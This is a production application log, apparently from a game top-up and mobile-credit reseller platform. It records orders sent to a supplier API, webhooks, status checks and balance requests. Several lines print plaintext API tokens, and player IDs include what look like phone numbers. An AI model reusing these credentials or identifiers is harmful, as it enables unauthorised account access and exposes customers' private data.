[2026-03-24 15:08:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ljJWLCWG5E8bJxsSMdGA3Oa2zNzIZzjC","execution_time":"2026-03-24 15:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TubxCu-1774354076","operation_id":163725} 
[2026-03-24 15:08:08] production.INFO: Constructing job for order: 178806  
[2026-03-24 15:08:09] production.INFO: Handling job for order: 178806  
[2026-03-24 15:08:09] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:08:09] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:08:09] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=952c44fa-9b10-4322-a1e3-f877aee17694&Player_ID=51915945353  
[2026-03-24 15:08:09] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=952c44fa-9b10-4322-a1e3-f877aee17694&Player_ID=51915945353","has_body":false} 
[2026-03-24 15:08:10] production.INFO: Constructing job for order: 178807  
[2026-03-24 15:08:10] production.INFO: Operation sent successfully {"operation_id":163726,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-LFcM-1774354089","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:08:10"}},"processed_data":{"order_number":"ORD-LFcM-1774354089","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 15:08:11] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-TubxCu-1774354076","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:08:11] production.INFO: Processed webhook data (normalized) {"id":"ORD-TubxCu-1774354076","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:08:11] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:08:11] production.INFO: SendAcceptReject: Notification queued {"user_id":33,"notification_type":"order_approved","reference_id":178805} 
[2026-03-24 15:08:11] production.INFO: Order updated successfully. Order ID: 178805, Status: completed  
[2026-03-24 15:08:11] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-TubxCu-1774354076","status":"completed","codes_count":0} 
[2026-03-24 15:08:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 33  
[2026-03-24 15:08:13] production.INFO: Handling job for order: 178807  
[2026-03-24 15:08:13] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:08:13] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:08:13] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=84e4b78a-4382-4291-8027-5d7fba168866&Player_ID=51915945353  
[2026-03-24 15:08:13] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=84e4b78a-4382-4291-8027-5d7fba168866&Player_ID=51915945353","has_body":false} 
[2026-03-24 15:08:14] production.INFO: Operation sent successfully {"operation_id":163727,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-t2vpKH-1774354093","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:08:14"}},"processed_data":{"order_number":"ORD-t2vpKH-1774354093","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 15:08:20] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-LFcM-1774354089","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:08:20] production.INFO: Processed webhook data (normalized) {"id":"ORD-LFcM-1774354089","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:08:20] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:08:20] production.INFO: SendAcceptReject: Notification queued {"user_id":33,"notification_type":"order_approved","reference_id":178806} 
[2026-03-24 15:08:20] production.INFO: Order updated successfully. Order ID: 178806, Status: completed  
[2026-03-24 15:08:20] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-LFcM-1774354089","status":"completed","codes_count":0} 
[2026-03-24 15:08:23] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-t2vpKH-1774354093","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:08:23] production.INFO: Processed webhook data (normalized) {"id":"ORD-t2vpKH-1774354093","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:08:23] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:08:23] production.INFO: SendAcceptReject: Notification queued {"user_id":33,"notification_type":"order_approved","reference_id":178807} 
[2026-03-24 15:08:23] production.INFO: Order updated successfully. Order ID: 178807, Status: completed  
[2026-03-24 15:08:23] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-t2vpKH-1774354093","status":"completed","codes_count":0} 
[2026-03-24 15:08:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 33  
[2026-03-24 15:08:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 33  
[2026-03-24 15:08:41] production.INFO: Constructing job for order: 178808  
[2026-03-24 15:08:44] production.INFO: Handling job for order: 178808  
[2026-03-24 15:08:44] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:08:44] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:08:44] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=1379c50e-779c-4154-b300-fa3b36d3dbe9&Player_ID=574536335  
[2026-03-24 15:08:44] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=1379c50e-779c-4154-b300-fa3b36d3dbe9&Player_ID=574536335","has_body":false} 
[2026-03-24 15:08:45] production.INFO: Operation sent successfully {"operation_id":163728,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-uXejxsav-1774354124","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:08:45"}},"processed_data":{"order_number":"ORD-uXejxsav-1774354124","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 15:08:56] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-uXejxsav-1774354124","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:08:56] production.INFO: Processed webhook data (normalized) {"id":"ORD-uXejxsav-1774354124","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:08:56] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:08:56] production.INFO: SendAcceptReject: Notification queued {"user_id":1292,"notification_type":"order_approved","reference_id":178808} 
[2026-03-24 15:08:56] production.INFO: Order updated successfully. Order ID: 178808, Status: completed  
[2026-03-24 15:08:56] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-uXejxsav-1774354124","status":"completed","codes_count":0} 
[2026-03-24 15:08:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1292  
[2026-03-24 15:09:14] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 15:09:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 5  
[2026-03-24 15:09:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 31  
[2026-03-24 15:09:42] production.INFO: Constructing job for order: 178810  
[2026-03-24 15:09:45] production.INFO: Handling job for order: 178810  
[2026-03-24 15:09:45] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:09:45] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:09:45] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=11a8b0d9-6d31-41c8-bfe3-bfda6436b286&Player_ID=7667132941  
[2026-03-24 15:09:45] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=11a8b0d9-6d31-41c8-bfe3-bfda6436b286&Player_ID=7667132941","has_body":false} 
[2026-03-24 15:09:46] production.INFO: Operation sent successfully {"operation_id":163729,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-dsfeqXK5-1774354185","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 15:09:46"}},"processed_data":{"order_number":"ORD-dsfeqXK5-1774354185","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 15:10:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"DoFoxXhA0TnTFbw2pgUNjzvaEwr0w0Vg","execution_time":"2026-03-24 15:10:04"} 
[2026-03-24 15:10:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"DoFoxXhA0TnTFbw2pgUNjzvaEwr0w0Vg","execution_time":"2026-03-24 15:10:04","total_operations":2,"sites_count":2} 
[2026-03-24 15:10:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"DoFoxXhA0TnTFbw2pgUNjzvaEwr0w0Vg","execution_time":"2026-03-24 15:10:04","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-l3ngC-1774353257"]} 
[2026-03-24 15:10:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"DoFoxXhA0TnTFbw2pgUNjzvaEwr0w0Vg","execution_time":"2026-03-24 15:10:04","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 15:10:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"DoFoxXhA0TnTFbw2pgUNjzvaEwr0w0Vg","execution_time":"2026-03-24 15:10:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 15:10:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"DoFoxXhA0TnTFbw2pgUNjzvaEwr0w0Vg","execution_time":"2026-03-24 15:10:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:10:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"DoFoxXhA0TnTFbw2pgUNjzvaEwr0w0Vg","execution_time":"2026-03-24 15:10:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 15:10:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"DoFoxXhA0TnTFbw2pgUNjzvaEwr0w0Vg","execution_time":"2026-03-24 15:10:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":0,"errors":0} 
[2026-03-24 15:10:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"DoFoxXhA0TnTFbw2pgUNjzvaEwr0w0Vg","execution_time":"2026-03-24 15:10:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"orders_count":1,"order_ids":["ORD-dsfeqXK5-1774354185"]} 
[2026-03-24 15:10:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"DoFoxXhA0TnTFbw2pgUNjzvaEwr0w0Vg","execution_time":"2026-03-24 15:10:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:10:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"DoFoxXhA0TnTFbw2pgUNjzvaEwr0w0Vg","execution_time":"2026-03-24 15:10:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"orders_count":1} 
[2026-03-24 15:10:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"DoFoxXhA0TnTFbw2pgUNjzvaEwr0w0Vg","execution_time":"2026-03-24 15:10:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dsfeqXK5-1774354185","operation_id":163729} 
[2026-03-24 15:10:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"DoFoxXhA0TnTFbw2pgUNjzvaEwr0w0Vg","execution_time":"2026-03-24 15:10:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dsfeqXK5-1774354185","operation_id":163729,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 15:10:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"DoFoxXhA0TnTFbw2pgUNjzvaEwr0w0Vg","execution_time":"2026-03-24 15:10:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dsfeqXK5-1774354185","operation_id":163729,"processed":0,"errors":0} 
[2026-03-24 15:10:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"DoFoxXhA0TnTFbw2pgUNjzvaEwr0w0Vg","execution_time":"2026-03-24 15:10:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dsfeqXK5-1774354185","operation_id":163729} 
[2026-03-24 15:10:04] production.INFO: Executing GetProducts task...  
[2026-03-24 15:10:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 15:10:04] production.INFO: Executing GetProducts task...  
[2026-03-24 15:10:06] production.INFO: async() رجع: true  
[2026-03-24 15:10:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 15:10:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 15:10:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 15:10:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 15:10:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 15:10:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 15:10:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 15:10:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 15:10:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 15:10:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 15:10:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 15:10:09] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"3000.0","mainamount":"3000","operation_number":"600430862492","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phppi20kqss3rc35ABqdn8"}},"user_id":1461} 
[2026-03-24 15:10:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 15:10:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 15:10:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 15:10:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 15:10:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 15:10:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 15:10:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 15:10:10] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 15:10:10] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18637,"user_id":1461,"amount":3000.0,"admins_notified":7} 
[2026-03-24 15:10:27] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-dsfeqXK5-1774354185","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:10:27] production.INFO: Processed webhook data (normalized) {"id":"ORD-dsfeqXK5-1774354185","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:10:27] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:10:27] production.INFO: SendAcceptReject: Notification queued {"user_id":31,"notification_type":"order_approved","reference_id":178810} 
[2026-03-24 15:10:27] production.INFO: Order updated successfully. Order ID: 178810, Status: completed  
[2026-03-24 15:10:27] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-dsfeqXK5-1774354185","status":"completed","codes_count":0} 
[2026-03-24 15:10:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 31  
[2026-03-24 15:10:35] production.INFO: Constructing job for order: 178811  
[2026-03-24 15:10:38] production.INFO: Handling job for order: 178811  
[2026-03-24 15:10:38] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 15:10:38] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:10:38] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/812/params?qty=1&uuid=db740faa-5070-4849-9c4a-7aa58025e54a&Player_ID=0993085948  
[2026-03-24 15:10:38] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/812/params?qty=1&uuid=db740faa-5070-4849-9c4a-7aa58025e54a&Player_ID=0993085948","has_body":false} 
[2026-03-24 15:10:38] production.INFO: Operation sent successfully {"operation_id":163730,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-lhcLSxg-1774354238","amount":334.86777999999998201019479893147945404052734375,"status":"processing","product":"317.31 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 15:10:38"}},"processed_data":{"order_number":"ORD-lhcLSxg-1774354238","amount":334.86777999999998201019479893147945404052734375,"status":"processing","product":"317.31 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 15:10:41] production.INFO: Constructing job for order: 178812  
[2026-03-24 15:10:44] production.INFO: Handling job for order: 178812  
[2026-03-24 15:10:44] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:10:44] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:10:44] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=1c8c26dd-f1bf-473f-90c8-4906687265c4&Player_ID=14530692884  
[2026-03-24 15:10:44] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=1c8c26dd-f1bf-473f-90c8-4906687265c4&Player_ID=14530692884","has_body":false} 
[2026-03-24 15:10:45] production.INFO: Operation sent successfully {"operation_id":163731,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-X0Jat-1774354245","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 15:10:45"}},"processed_data":{"order_number":"ORD-X0Jat-1774354245","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 15:10:46] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1200.0","mainamount":"1200","operation_number":"158317301","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phprghfpovqft9n3CpUQ1d"}},"user_id":1071} 
[2026-03-24 15:10:48] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 15:10:48] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 15:10:48] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 15:10:48] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 15:10:48] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 15:10:48] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 15:10:48] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 15:10:48] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 15:10:48] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18638,"user_id":1071,"amount":1200.0,"admins_notified":7} 
[2026-03-24 15:11:14] production.INFO: Constructing job for order: 178813  
[2026-03-24 15:11:14] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-X0Jat-1774354245","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:11:14] production.INFO: Processed webhook data (normalized) {"id":"ORD-X0Jat-1774354245","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:11:14] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:11:14] production.INFO: SendAcceptReject: Notification queued {"user_id":31,"notification_type":"order_approved","reference_id":178812} 
[2026-03-24 15:11:14] production.INFO: Order updated successfully. Order ID: 178812, Status: completed  
[2026-03-24 15:11:14] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-X0Jat-1774354245","status":"completed","codes_count":0} 
[2026-03-24 15:11:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 31  
[2026-03-24 15:11:15] production.INFO: Handling job for order: 178813  
[2026-03-24 15:11:15] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:11:15] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:11:15] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=38da121e-458a-4002-9b8f-228cab20820e&Player_ID=13888517654  
[2026-03-24 15:11:15] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=38da121e-458a-4002-9b8f-228cab20820e&Player_ID=13888517654","has_body":false} 
[2026-03-24 15:11:16] production.INFO: Operation sent successfully {"operation_id":163732,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-IK1-1774354276","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 15:11:16"}},"processed_data":{"order_number":"ORD-IK1-1774354276","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 15:11:31] production.INFO: Constructing job for order: 178814  
[2026-03-24 15:11:34] production.INFO: Handling job for order: 178814  
[2026-03-24 15:11:34] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 15:11:34] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:11:34] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=b0343eb5-c44e-4cac-a190-e25846ffa557&Player_ID=0949355154  
[2026-03-24 15:11:34] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=b0343eb5-c44e-4cac-a190-e25846ffa557&Player_ID=0949355154","has_body":false} 
[2026-03-24 15:11:35] production.INFO: Constructing job for order: 178815  
[2026-03-24 15:11:35] production.INFO: Operation sent successfully {"operation_id":163733,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-gInS-1774354295","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 15:11:35"}},"processed_data":{"order_number":"ORD-gInS-1774354295","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 15:11:38] production.INFO: Handling job for order: 178815  
[2026-03-24 15:11:38] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 15:11:38] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:11:38] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=9db72d71-0e3e-4fd5-8fd5-b32af6284cf7&Player_ID=0949355154  
[2026-03-24 15:11:38] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=9db72d71-0e3e-4fd5-8fd5-b32af6284cf7&Player_ID=0949355154","has_body":false} 
[2026-03-24 15:11:39] production.INFO: Operation sent successfully {"operation_id":163734,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ylG3nJ-1774354298","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 15:11:39"}},"processed_data":{"order_number":"ORD-ylG3nJ-1774354298","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 15:11:41] production.INFO: SendAcceptReject: Notification queued {"user_id":587,"notification_type":"request_approved","reference_id":18615} 
[2026-03-24 15:11:41] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-IK1-1774354276","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:11:41] production.INFO: Processed webhook data (normalized) {"id":"ORD-IK1-1774354276","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:11:41] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:11:41] production.INFO: SendAcceptReject: Notification queued {"user_id":1690,"notification_type":"order_approved","reference_id":178813} 
[2026-03-24 15:11:41] production.INFO: Order updated successfully. Order ID: 178813, Status: completed  
[2026-03-24 15:11:41] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-IK1-1774354276","status":"completed","codes_count":0} 
[2026-03-24 15:11:43] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 15:11:44] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1690  
[2026-03-24 15:12:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"w5USEtk4M9Cd1F9Y6Vm1gY9KkosVbqiS","execution_time":"2026-03-24 15:12:02"} 
[2026-03-24 15:12:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"w5USEtk4M9Cd1F9Y6Vm1gY9KkosVbqiS","execution_time":"2026-03-24 15:12:02","total_operations":4,"sites_count":1} 
[2026-03-24 15:12:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"w5USEtk4M9Cd1F9Y6Vm1gY9KkosVbqiS","execution_time":"2026-03-24 15:12:02","site_id":4,"site_name":"swgamessls","orders_count":4,"order_ids":["ORD-l3ngC-1774353257","ORD-lhcLSxg-1774354238","ORD-gInS-1774354295","ORD-ylG3nJ-1774354298"]} 
[2026-03-24 15:12:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"w5USEtk4M9Cd1F9Y6Vm1gY9KkosVbqiS","execution_time":"2026-03-24 15:12:02","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 15:12:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"w5USEtk4M9Cd1F9Y6Vm1gY9KkosVbqiS","execution_time":"2026-03-24 15:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 15:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"w5USEtk4M9Cd1F9Y6Vm1gY9KkosVbqiS","execution_time":"2026-03-24 15:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gInS-1774354295","operation_id":163733} 
[2026-03-24 15:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"w5USEtk4M9Cd1F9Y6Vm1gY9KkosVbqiS","execution_time":"2026-03-24 15:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:12:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"w5USEtk4M9Cd1F9Y6Vm1gY9KkosVbqiS","execution_time":"2026-03-24 15:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylG3nJ-1774354298","operation_id":163734,"processed":2,"skipped":2,"updates_prepared":2} 
[2026-03-24 15:12:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"w5USEtk4M9Cd1F9Y6Vm1gY9KkosVbqiS","execution_time":"2026-03-24 15:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylG3nJ-1774354298","operation_id":163734,"total_items":2,"chunks":1,"chunk_size":10} 
